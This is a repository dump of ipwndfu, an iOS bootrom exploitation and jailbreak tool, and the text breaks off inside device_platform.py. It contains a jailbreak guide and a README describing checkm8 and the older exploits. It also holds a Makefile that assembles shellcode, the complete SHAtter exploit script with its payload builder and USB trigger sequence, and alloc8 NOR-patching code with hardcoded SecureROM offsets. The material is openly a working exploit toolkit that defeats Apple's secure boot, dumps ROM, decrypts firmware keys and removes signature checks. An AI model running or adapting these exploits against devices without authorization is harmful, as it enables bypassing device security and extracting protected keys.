├── .gitignore ├── JAILBREAK-GUIDE.md ├── LICENSE ├── Makefile ├── README.md ├── SHAtter.py ├── aes-keys └── S5L8920-firmware ├── alloc8.py ├── bin ├── 24Kpwn-shellcode.bin ├── SHAtter-shellcode.bin ├── alloc8-shellcode.bin ├── checkm8_arm64.bin ├── checkm8_armv7.bin ├── ibss-flash-nor-shellcode.bin ├── limera1n-shellcode.bin ├── steaks4uce-shellcode.bin ├── t8010_t8011_disable_wxn_arm64.bin ├── usb_0xA1_2_arm64.bin └── usb_0xA1_2_armv7.bin ├── checkm8.py ├── device_platform.py ├── dfu.py ├── dfuexec.py ├── ibootpatcher ├── image3.py ├── image3_24Kpwn.py ├── ipwndfu ├── ipwnrecovery ├── libusbfinder ├── __init__.py └── bottles │ ├── libusb-1.0.19.mountain_lion.bottle.1.tar.gz │ ├── libusb-1.0.20.mavericks.bottle.1.tar.gz │ ├── libusb-1.0.21.yosemite.bottle.tar.gz │ ├── libusb-1.0.22.el_capitan.bottle.tar.gz │ ├── libusb-1.0.22.high_sierra.bottle.tar.gz │ ├── libusb-1.0.22.mojave.bottle.tar.gz │ └── libusb-1.0.22.sierra.bottle.tar.gz ├── limera1n.py ├── nor-backups └── README ├── nor.py ├── recovery.py ├── repo └── ipwndfu.png ├── rmsigchks.py ├── rmsigchks_t8015.py ├── src ├── 24Kpwn-shellcode.S ├── SHAtter-shellcode.S ├── alloc8-shellcode.S ├── checkm8_arm64.S ├── checkm8_armv7.S ├── ibss-flash-nor-shellcode.S ├── limera1n-shellcode.S ├── steaks4uce-shellcode.S ├── t8010_t8011_disable_wxn_arm64.S ├── usb_0xA1_2_arm64.S └── usb_0xA1_2_armv7.S ├── steaks4uce.py ├── usb ├── ACKNOWLEDGEMENTS ├── LICENSE ├── README.rst ├── __init__.py ├── _debug.py ├── _interop.py ├── _lookup.py ├── _objfinalizer.py ├── backend │ ├── __init__.py │ ├── libusb0.py │ ├── libusb1.py │ └── openusb.py ├── control.py ├── core.py ├── legacy.py ├── libloader.py └── util.py ├── usbexec.py └── utilities.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | nor-backups/nor-* 3 | libusbfinder/libusb-* 4 | SecureROM-* 5 | n88ap-iBSS-4.3.5.img3 6 | *.ipsw 7 | -------------------------------------------------------------------------------- /JAILBREAK-GUIDE.md: -------------------------------------------------------------------------------- 1 | # Jailbreak guide for iPhone 3GS (new bootrom) 2 | 3 | ### Steps 4 | 5 | 1. Backup your data. Everything will be removed from your phone as it is a **full** restore. 6 | 7 | 2. [Generate a custom 24Kpwn IPSW for iPhone 3GS (old bootrom)](#how-to-create-a-24kpwn-ipsw). 8 | 9 | 3. [Restore to this custom IPSW on your iPhone 3GS (new bootrom)](#how-to-restore-to-a-custom-ipsw). 10 | 11 | 4. After restore is complete, your phone will connect back to your computer in DFU Mode. The screen will be black. This is expected. 24Kpwn exploit does not work on iPhone 3GS (new bootrom). 12 | 13 | 5. Use ipwndfu to put your device into pwned DFU Mode: 14 | 15 | ``` 16 | $ ./ipwndfu -p 17 | *** based on limera1n exploit (heap overflow) by geohot *** 18 | Found: CPID:8920 CPRV:15 CPFM:03 SCEP:03 BDID:00 ECID:XXXXXXXXXXXXXXXX SRTG:[iBoot-359.3.2] 19 | Device is now in pwned DFU Mode. 20 | ``` 21 | 22 | 6. Once in pwned DFU Mode, use the -x flag to install the alloc8 exploit. This step will replace 24Kpwn exploit with alloc8. 23 | 24 | ``` 25 | $ ./ipwndfu -x 26 | Installing alloc8 exploit to NOR. 27 | Dumping NOR, part 1/8. 28 | Dumping NOR, part 2/8. 29 | Dumping NOR, part 3/8. 30 | Dumping NOR, part 4/8. 31 | Dumping NOR, part 5/8. 32 | Dumping NOR, part 6/8. 33 | Dumping NOR, part 7/8. 34 | Dumping NOR, part 8/8. 35 | NOR backed up to file: nor-backups/nor-XXXXXXXXXXXXXXXX-20170409-224258.dump 36 | Sending iBSS. 37 | Waiting for iBSS to enter Recovery Mode. 38 | Sending iBSS payload to flash NOR. 39 | Sending run command. 40 | If screen is not red, NOR was flashed successfully and device will reboot. 41 | ``` 42 | 43 | #### Notes: 44 | * Installation takes about 30 seconds. Once NOR is being flashed, the screen will be green for about 10 seconds, and then your phone will reboot. 45 | 46 | * If there are any errors before the screen turned green, it is safe to try again. 47 | 48 | * If the screen turns red, something went wrong while your phone was being flashed. Trying again probably won't help. 49 | 50 | * If there are no issues, the phone will reboot and automatically boot into iOS. 51 | 52 | 53 | 54 | 55 | 56 | ### 3 second delay during boot when using a phone jailbroken with alloc8 57 | 58 | alloc8 exploit takes about 3 seconds to run. 59 | 60 | When your phone is off, to turn it on you will need to keep holding the Power button for at least 3 seconds, or your phone will not turn on. This might be because LLB protects against accidental presses of the Power button by shutting down the phone if the power button is not being held anymore. Without an exploit it takes less than a second before this check happens, but with alloc8 exploit it will happen after about 3 seconds. It might be possible to change this behavior by patching LLB. 61 | 62 | If your phone enters deep sleep, there will be a 3 second delay before it wakes up. This can be fixed if you disable deep sleep with a tweak from Cydia, but your phone's battery life will decrease. 63 | 64 | 65 | ### Where to download older IPSWs 66 | 67 | Always download IPSWs directly from Apple, because IPSWs from other sites could be infected with malware. 68 | 69 | There is a trusted site where you can find legitimate Apple download links for older IPSW files: 70 | 71 | https://ipsw.me/ 72 | 73 | 74 | ### How to create a 24Kpwn IPSW 75 | 76 | | iOS version | Tool | 77 | |-------------|-------------------------------------------------------------------------------------------------| 78 | | iOS 3.1 | [PwnageTool 3.1.3](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.3.dmg) | 79 | | iOS 3.1.2 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) | 80 | | iOS 3.1.3 | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) | 81 | | iOS 4.0 | [PwnageTool 4.01](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_4.01.dmg) | 82 | | iOS 4.3.3 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | 83 | | iOS 5.0 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | 84 | | iOS 5.0.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | 85 | | iOS 5.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | 86 | | iOS 5.1.1 | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w) | 87 | 88 | #### Notes on using redsn0w 0.9.15b3 89 | 90 | ``` 91 | Q: Will this custom IPSW be used on a newer (fixed) version of the iPhone3GS? 92 | A: No 93 | ``` 94 | 95 | You must answer No to create a 24Kpwn IPSW using redsn0w. If you did this correctly, the name of the custom IPSW from redsn0w will start with ```NO_BB_OLDROM_iPhone2,1```. 96 | 97 | 98 | ### Compatibility with older iOS versions 99 | 100 | Newer phones might not support some older versions of iOS. You cannot brick your phone by attempting to restore an older version of iOS, so it might be worth it to try anyway. If iTunes restore fails with Error 28, the hardware of your phone is not compatible with that version of iOS. 101 | 102 | | Manufactured | Error 28 | Success | 103 | |--------------|------------|------------| 104 | | Week 38 2010 | N/A | 3.1+ | 105 | | Week 48 2010 | N/A | 3.1+ | 106 | | Week 3 2011 | 3.x | 4.3.3+ | 107 | | Week 14 2011 | 3.x | 4.0+ | 108 | | Week 23 2011 | N/A | 3.1.2+ | 109 | | Week 29 2011 | 3.x | 4.0+ | 110 | | Week 36 2011 | 3.x | 4.0+ | 111 | | Week 26 2012 | 3.x, 4.x | 5.0+ | 112 | 113 | You can find the week and year of manufacture by looking at the serial number of your phone. If your phone is from 2011 or 2012, help me expand this list and let me what versions worked or didn't work. 114 | 115 | 116 | ### Decoding iPhone 3GS serial number 117 | 118 | ``` 119 | Serial number: AABCCDDDEE 120 | AA = Device ID 121 | B = 2009=9, 2010=0, 2011=1, 2012=2 122 | CC = Week of production 123 | DDD = Unique ID 124 | EE = Color 125 | ``` 126 | 127 | 128 | ### How to restore to a custom IPSW 129 | 130 | 1. Enter DFU Mode: https://www.theiphonewiki.com/wiki/DFU_Mode 131 | 132 | 2. Run exploit to put your phone into pwned DFU Mode. You can use `./ipwndfu -p`. 133 | 134 | 3. Any version of iTunes should work. In iTunes, hold Option (or SHIFT if using Windows) and click Restore. You should be prompted to choose a file. Choose your custom IPSW. 135 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: armv6 armv7 arm64 2 | 3 | armv6: 4 | arm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src/steaks4uce-shellcode.S 5 | arm-none-eabi-objcopy -O binary bin/steaks4uce-shellcode.o bin/steaks4uce-shellcode.bin 6 | rm bin/steaks4uce-shellcode.o 7 | 8 | armv7: 9 | arm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S 10 | arm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin 11 | rm bin/limera1n-shellcode.o 12 | 13 | arm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S 14 | arm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin 15 | rm bin/SHAtter-shellcode.o 16 | 17 | arm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S 18 | arm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin 19 | rm bin/24Kpwn-shellcode.o 20 | 21 | arm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S 22 | arm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin 23 | rm bin/alloc8-shellcode.o 24 | 25 | arm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S 26 | arm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin 27 | rm bin/ibss-flash-nor-shellcode.o 28 | 29 | arm-none-eabi-as -mthumb --fatal-warnings -o bin/usb_0xA1_2_armv7.o src/usb_0xA1_2_armv7.S 30 | arm-none-eabi-objcopy -O binary bin/usb_0xA1_2_armv7.o bin/usb_0xA1_2_armv7.bin 31 | rm bin/usb_0xA1_2_armv7.o 32 | 33 | arm-none-eabi-as -mthumb --fatal-warnings -o bin/checkm8_armv7.o src/checkm8_armv7.S 34 | arm-none-eabi-objcopy -O binary bin/checkm8_armv7.o bin/checkm8_armv7.bin 35 | rm bin/checkm8_armv7.o 36 | 37 | arm64: 38 | xcrun -sdk iphoneos clang src/usb_0xA1_2_arm64.S -target arm64-apple-darwin -Wall -o bin/usb_0xA1_2_arm64.o 39 | gobjcopy -O binary -j .text bin/usb_0xA1_2_arm64.o bin/usb_0xA1_2_arm64.bin 40 | rm bin/usb_0xA1_2_arm64.o 41 | 42 | xcrun -sdk iphoneos clang src/checkm8_arm64.S -target arm64-apple-darwin -Wall -o bin/checkm8_arm64.o 43 | gobjcopy -O binary -j .text bin/checkm8_arm64.o bin/checkm8_arm64.bin 44 | rm bin/checkm8_arm64.o 45 | 46 | xcrun -sdk iphoneos clang src/t8010_t8011_disable_wxn_arm64.S -target arm64-apple-darwin -Wall -o bin/t8010_t8011_disable_wxn_arm64.o 47 | gobjcopy -O binary -j .text bin/t8010_t8011_disable_wxn_arm64.o bin/t8010_t8011_disable_wxn_arm64.bin 48 | rm bin/t8010_t8011_disable_wxn_arm64.o 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![](repo/ipwndfu.png) 2 | # Open-source jailbreaking tool for many iOS devices 3 | 4 | 5 | **Read [disclaimer](#disclaimer) before using this software.* 6 | 7 | ## About this fork 8 | 9 | * This fork allows you to load img4 images (e.g. iBSS/LLB) in pwned DFU mode. 10 | 11 | * Also supports loading of unsigned img4 images. Run "python rmsigchks.py" to remove signature checks. 12 | 13 | * Supports s5l8960x (iPhone 5s) and - new - t8011 (iPad Pro 2017). 14 | 15 | * **IMPORTANT:** Other devices are currently **NOT SUPPORTED**. 16 | 17 | ## checkm8 18 | 19 | * permanent unpatchable bootrom exploit for hundreds of millions of iOS devices 20 | 21 | * meant for researchers, this is not a jailbreak with Cydia yet 22 | 23 | * allows dumping SecureROM, decrypting keybags for iOS firmware, and demoting device for JTAG 24 | 25 | * current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t8002, t8004, t8010, t8011, t8015 26 | 27 | * future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7000, t7001, s7002, s8000, s8001, s8003, t8012 28 | 29 | * full jailbreak with Cydia on latest iOS version is possible, but requires additional work 30 | 31 | 32 | ## Quick start guide for checkm8 33 | 34 | 1. Use a cable to connect device to your Mac. Hold buttons as needed to enter DFU Mode. 35 | 36 | 2. First run ```./ipwndfu -p``` to exploit the device. Repeat the process if it fails, it is not reliable. 37 | 38 | 3. Run ```./ipwndfu --dump-rom``` to get a dump of SecureROM. 39 | 40 | 4. Run ```./ipwndfu --decrypt-gid KEYBAG``` to decrypt a keybag. 41 | 42 | 5. Run ```./ipwndfu --demote``` to demote device and enable JTAG. 43 | 44 | 45 | ## Features 46 | 47 | * Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-) 48 | 49 | * Pwned DFU Mode with steaks4uce exploit for S5L8720 devices. 50 | 51 | * Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices. 52 | 53 | * Pwned DFU Mode with SHAtter exploit for S5L8930 devices. 54 | 55 | * Dump SecureROM on S5L8920/S5L8922/S5L8930 devices. 56 | 57 | * Dump NOR on S5L8920 devices. 58 | 59 | * Flash NOR on S5L8920 devices. 60 | 61 | * Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key. 62 | 63 | 64 | ## Dependencies 65 | 66 | This tool should be compatible with Mac and Linux. It won't work in a virtual machine. 67 | 68 | * libusb, `If you are using Linux: install libusb using your package manager.` 69 | * [iPhone 3GS iOS 4.3.5 iBSS](#ibss) 70 | 71 | 72 | ## Tutorial 73 | 74 | This tool can be used to downgrade or jailbreak iPhone 3GS (new bootrom) without SHSH blobs, as documented in [JAILBREAK-GUIDE](https://github.com/axi0mX/ipwndfu/blob/master/JAILBREAK-GUIDE.md). 75 | 76 | 77 | ## Exploit write-up 78 | 79 | Write-up for alloc8 exploit can be found here: 80 | 81 | https://github.com/axi0mX/alloc8 82 | 83 | 84 | ## iBSS 85 | 86 | Download iPhone 3GS iOS 4.3.5 IPSW from Apple: 87 | 88 | http://appldnld.apple.com/iPhone4/041-1965.20110721.gxUB5/iPhone2,1_4.3.5_8L1_Restore.ipsw 89 | 90 | In Terminal, extract iBSS using the following command, then move the file to ipwndfu folder: 91 | 92 | ``` 93 | unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3 94 | ``` 95 | 96 | 97 | ## Coming soon! 98 | 99 | * Reorganize and refactor code. 100 | 101 | * Easier setup: download iBSS automatically using partial zip. 102 | 103 | * Dump SecureROM on S5L8720 devices. 104 | 105 | * Install custom boot logos on devices jailbroken with 24Kpwn and alloc8. 106 | 107 | * Enable verbose boot on devices jailbroken with 24Kpwn and alloc8. 108 | 109 | ## Disclaimer 110 | 111 | **This is BETA software.** 112 | 113 | Backup your data. 114 | 115 | This tool is currently in beta and could potentially brick your device. It will attempt to save a copy of data in NOR to nor-backups folder before flashing new data to NOR, and it will attempt to not overwrite critical data in NOR which your device requires to function. If something goes wrong, hopefully you will be able to restore to latest IPSW in iTunes and bring your device back to life, or use nor-backups to restore NOR to the original state, but I cannot provide any guarantees. 116 | 117 | **There is NO warranty provided.** 118 | 119 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 120 | 121 | ## Toolchain 122 | 123 | You will not need to use `make` or compile anything to use ipwndfu. However, if you wish to make changes to assembly code in `src/*`, you will need to use an ARM toolchain and assemble the source files by running `make`. 124 | 125 | If you are using macOS with Homebrew, you can use binutils and gcc-arm-embedded. You can install them with these commands: 126 | 127 | ``` 128 | brew install binutils 129 | brew cask install https://raw.githubusercontent.com/Homebrew/homebrew-cask/b88346667547cc85f8f2cacb3dfe7b754c8afc8a/Casks/gcc-arm-embedded.rb 130 | ``` 131 | 132 | ## Credit 133 | 134 | geohot for limera1n exploit 135 | 136 | posixninja and pod2g for SHAtter exploit 137 | 138 | chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. for 24Kpwn exploit 139 | 140 | pod2g for steaks4uce exploit 141 | 142 | walac for pyusb 143 | -------------------------------------------------------------------------------- /SHAtter.py: -------------------------------------------------------------------------------- 1 | # Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g. 2 | 3 | import struct, sys, time 4 | import dfu 5 | 6 | def generate_payload(): 7 | shellcode_address = 0x8402F198 + 1 8 | data = struct.pack('<40sI', '\xF0' * 40, shellcode_address) 9 | tags = data + struct.pack('<4s2I4s2I', 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0) 10 | header = struct.pack('<4s3I4s', 'Img3'[::-1], 20 + len(tags), len(tags), len(data), 'ibss'[::-1]) 11 | with open('bin/SHAtter-shellcode.bin', 'rb') as f: 12 | shellcode = f.read() 13 | assert len(shellcode) <= 1024 14 | return header + tags + shellcode 15 | 16 | def exploit(): 17 | print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***' 18 | 19 | device = dfu.acquire_device() 20 | print 'Found:', device.serial_number 21 | 22 | if 'PWND:[' in device.serial_number: 23 | print 'Device is already in pwned DFU Mode. Not executing exploit.' 24 | return 25 | 26 | if 'CPID:8930' not in device.serial_number: 27 | print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.' 28 | sys.exit(1) 29 | 30 | if 'SRTG:[iBoot-574.4]' not in device.serial_number: 31 | print 'ERROR: CPID is compatible, but serial number string does not match.' 32 | print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' 33 | sys.exit(1) 34 | 35 | dfu.reset_counters(device) 36 | dfu.get_data(device, 0x40) 37 | dfu.usb_reset(device) 38 | dfu.release_device(device) 39 | 40 | device = dfu.acquire_device() 41 | dfu.request_image_validation(device) 42 | dfu.release_device(device) 43 | 44 | device = dfu.acquire_device() 45 | dfu.get_data(device, 0x2C000) 46 | dfu.release_device(device) 47 | 48 | time.sleep(0.5) 49 | 50 | device = dfu.acquire_device() 51 | dfu.reset_counters(device) 52 | dfu.get_data(device, 0x140) 53 | dfu.usb_reset(device) 54 | dfu.release_device(device) 55 | 56 | device = dfu.acquire_device() 57 | dfu.request_image_validation(device) 58 | dfu.release_device(device) 59 | 60 | device = dfu.acquire_device() 61 | dfu.send_data(device, generate_payload()) 62 | dfu.get_data(device, 0x2C000) 63 | dfu.release_device(device) 64 | 65 | time.sleep(0.5) 66 | 67 | device = dfu.acquire_device() 68 | failed = 'PWND:[SHAtter]' not in device.serial_number 69 | dfu.release_device(device) 70 | 71 | if failed: 72 | print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' 73 | sys.exit(1) 74 | 75 | print 'Device is now in pwned DFU Mode.' 76 | -------------------------------------------------------------------------------- /aes-keys/S5L8920-firmware: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/aes-keys/S5L8920-firmware -------------------------------------------------------------------------------- /alloc8.py: -------------------------------------------------------------------------------- 1 | import copy, struct, sys 2 | 3 | alloc8_constants_359_3 = [ 4 | 0x84034000, # 1 - MAIN_STACK_ADDRESS 5 | 0x544, # 2 - clean_invalidate_data_cache 6 | 0x84024020, # 3 - gNorImg3List 7 | 0x1ccd, # 4 - free 8 | 0x3ca1, # 5 - exit_critical_section 9 | 0x451d, # 6 - home_button_pressed 10 | 0x450d, # 7 - power_button_pressed 11 | 0x44e1, # 8 - cable_connected 12 | 0x696c6c62, # 9 - ILLB_MAGIC 13 | 0x1f6f, # 10 - get_nor_image 14 | 0x84000000, # 11 - LOAD_ADDRESS 15 | 0x24000, # 12 - MAX_SIZE 16 | 0x3969, # 13 - jump_to 17 | 0x38a1, # 14 - usb_create_serial_number_string 18 | 0x8e7d, # 15 - strlcat 19 | 0x349d, # 16 - usb_wait_for_image 20 | 0x84024228, # 17 - gLeakingDFUBuffer 21 | 0x65786563, # 18 - EXEC_MAGIC 22 | 0x1f79, # 19 - memz_create 23 | 0x1fa1, # 20 - memz_destroy 24 | 0x696d6733, # 21 - IMG3_STRUCT_MAGIC 25 | 0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC 26 | 0x1fe5, # 23 - image3_create_struct 27 | 0x2655, # 24 - image3_load_continue 28 | 0x277b, # 25 - image3_load_fail 29 | ] 30 | 31 | alloc8_constants_359_3_2 = [ 32 | 0x84034000, # 1 - MAIN_STACK_ADDRESS 33 | 0x544, # 2 - clean_invalidate_data_cache 34 | 0x84024020, # 3 - gNorImg3List 35 | 0x1ccd, # 4 - free 36 | 0x3ca9, # 5 - exit_critical_section 37 | 0x4525, # 6 - home_button_pressed 38 | 0x4515, # 7 - power_button_pressed 39 | 0x44e9, # 8 - cable_connected 40 | 0x696c6c62, # 9 - ILLB_MAGIC 41 | 0x1f77, # 10 - get_nor_image 42 | 0x84000000, # 11 - LOAD_ADDRESS 43 | 0x24000, # 12 - MAX_SIZE 44 | 0x3971, # 13 - jump_to 45 | 0x38a9, # 14 - usb_create_serial_number_string 46 | 0x8e85, # 15 - strlcat 47 | 0x34a5, # 16 - usb_wait_for_image 48 | 0x84024228, # 17 - gLeakingDFUBuffer 49 | 0x65786563, # 18 - EXEC_MAGIC 50 | 0x1f81, # 19 - memz_create 51 | 0x1fa9, # 20 - memz_destroy 52 | 0x696d6733, # 21 - IMG3_STRUCT_MAGIC 53 | 0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC 54 | 0x1fed, # 23 - image3_create_struct 55 | 0x265d, # 24 - image3_load_continue 56 | 0x2783, # 25 - image3_load_fail 57 | ] 58 | 59 | def empty_img3(size): 60 | assert size >= 20 61 | return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20) 62 | 63 | def exploit(nor, version): 64 | if version == '359.3': 65 | constants = alloc8_constants_359_3 66 | exceptions = [0x5620, 0x5630] 67 | elif version == '359.3.2': 68 | constants = alloc8_constants_359_3_2 69 | exceptions = [0x5628, 0x5638] 70 | else: 71 | print 'ERROR: SecureROM version %s is not supported by alloc8.' % version 72 | sys.exit(1) 73 | 74 | for c in nor.parts[1]: 75 | assert c == '\x00' 76 | assert len(nor.images) < 32 77 | 78 | MAX_SHELLCODE_LENGTH = 460 79 | with open('bin/alloc8-shellcode.bin', 'rb') as f: 80 | shellcode = f.read() 81 | assert len(shellcode) <= MAX_SHELLCODE_LENGTH 82 | 83 | # Shellcode has placeholder values for constants; check they match and replace with constants from config. 84 | placeholders_offset = len(shellcode) - 4 * len(constants) 85 | for i in range(len(constants)): 86 | offset = placeholders_offset + 4 * i 87 | (value,) = struct.unpack('= 700 112 | 113 | new_nor = copy.deepcopy(nor) 114 | 115 | new_images = [] 116 | for image in new_nor.images: 117 | assert len(image) >= 20 118 | if image[16:20] != 'zero'[::-1]: 119 | new_images.append(image) 120 | assert len(new_images) < 32 121 | 122 | new_nor.images = new_images 123 | new_nor.parts[1] = '\x00' * 460 124 | 125 | return new_nor 126 | -------------------------------------------------------------------------------- /bin/24Kpwn-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/24Kpwn-shellcode.bin -------------------------------------------------------------------------------- /bin/SHAtter-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/SHAtter-shellcode.bin -------------------------------------------------------------------------------- /bin/alloc8-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/alloc8-shellcode.bin -------------------------------------------------------------------------------- /bin/checkm8_arm64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/checkm8_arm64.bin -------------------------------------------------------------------------------- /bin/checkm8_armv7.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/checkm8_armv7.bin -------------------------------------------------------------------------------- /bin/ibss-flash-nor-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/ibss-flash-nor-shellcode.bin -------------------------------------------------------------------------------- /bin/limera1n-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/limera1n-shellcode.bin -------------------------------------------------------------------------------- /bin/steaks4uce-shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/steaks4uce-shellcode.bin -------------------------------------------------------------------------------- /bin/t8010_t8011_disable_wxn_arm64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/t8010_t8011_disable_wxn_arm64.bin -------------------------------------------------------------------------------- /bin/usb_0xA1_2_arm64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/usb_0xA1_2_arm64.bin -------------------------------------------------------------------------------- /bin/usb_0xA1_2_armv7.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LinusHenze/ipwndfu_public/56dd31eab545dd2b1bea30865f71b184c18f0dce/bin/usb_0xA1_2_armv7.bin -------------------------------------------------------------------------------- /device_platform.py: -------------------------------------------------------------------------------- 1 | class DevicePlatform: 2 | def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, sram_base, sram_size, dram_base, nonce_length, sep_nonce_length, demotion_reg): 3 | self.cpid = cpid 4 | self.cprv = cprv 5 | self.scep = scep 6 | self.arch = arch 7 | self.srtg = srtg 8 | self.rom_base = rom_base 9 | self.rom_size = rom_size 10 | self.rom_sha1 = rom_sha1 11 | self.sram_base = sram_base 12 | self.sram_size = sram_size 13 | self.dram_base = dram_base 14 | self.nonce_length = nonce_length 15 | self.sep_nonce_length = sep_nonce_length 16 | self.demotion_reg = demotion_reg 17 | if self.cpid in [0x8940, 0x8947]: 18 | self.dfu_image_base = 0x34000000 19 | self.dfu_load_base = 0x9FF00000 20 | self.recovery_image_base = 0x9FF00000 21 | self.recovery_load_base = 0x80000000 22 | if self.cpid in [0x8950, 0x8955]: 23 | self.dfu_image_base = 0x10000000 24 | self.dfu_load_base = 0xBFF00000 25 | self.recovery_image_base = 0xBFF00000 26 | self.recovery_load_base = 0x80000000 27 | if self.cpid == 0x8960: 28 | self.dfu_image_base = 0x180380000 29 | self.dfu_load_base = 0x180000000 # varies (HACK: test purposes) 30 | self.recovery_image_base = 0x83D7F7000 # varies 31 | self.recovery_load_base = 0x800000000 32 | if self.cpid in [0x8002, 0x8004]: 33 | self.dfu_image_base = 0x48818000 34 | self.dfu_load_base = 0x80000000 35 | self.recovery_image_base = 0x48818000 36 | self.recovery_load_base = 0x80000000 37 | if self.cpid in [0x8010, 0x8011]: 38 | self.dfu_image_base = 0x1800B0000 39 | self.dfu_load_base = 0x800000000 40 | self.recovery_image_base = 0x1800B0000 41 | self.recovery_load_base = 0x800000000 42 | if self.cpid in [0x8015]: 43 | self.dfu_image_base = 0x18001C000 44 | self.dfu_load_base = 0x800000000 45 | self.recovery_image_base = 0x18001C000 46 | self.recovery_load_base = 0x800000000 47 | 48 | def name(self): 49 | if 0x8720 <= self.cpid <= 0x8960: 50 | return 's5l%xxsi' % self.cpid 51 | elif self.cpid in [0x7002, 0x8000, 0x8001, 0x8003]: 52 | return 's%xsi' % self.cpid 53 | else: 54 | return 't%xsi' % self.cpid 55 | 56 | all_platforms = [ 57 | DevicePlatform(cpid=0x8947, cprv=0x00, scep=0x10, arch='armv7', srtg='iBoot-1458.2', 58 | rom_base=0x3F000000, rom_size=0x10000, rom_sha1='d9320ddd4bdb1de79ae0601f20e7db23441ab1a7', 59 | sram_base=0x34000000, sram_size=0x40000, 60 | dram_base=0x80000000, 61 | nonce_length=20, sep_nonce_length=None, 62 | demotion_reg=0x3F500000, 63 | ), 64 | DevicePlatform(cpid=0x8950, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3', 65 | rom_base=0x3F000000, rom_size=0x10000, rom_sha1='50a8dd9863868c971aaf95a96e5152378784e4db', 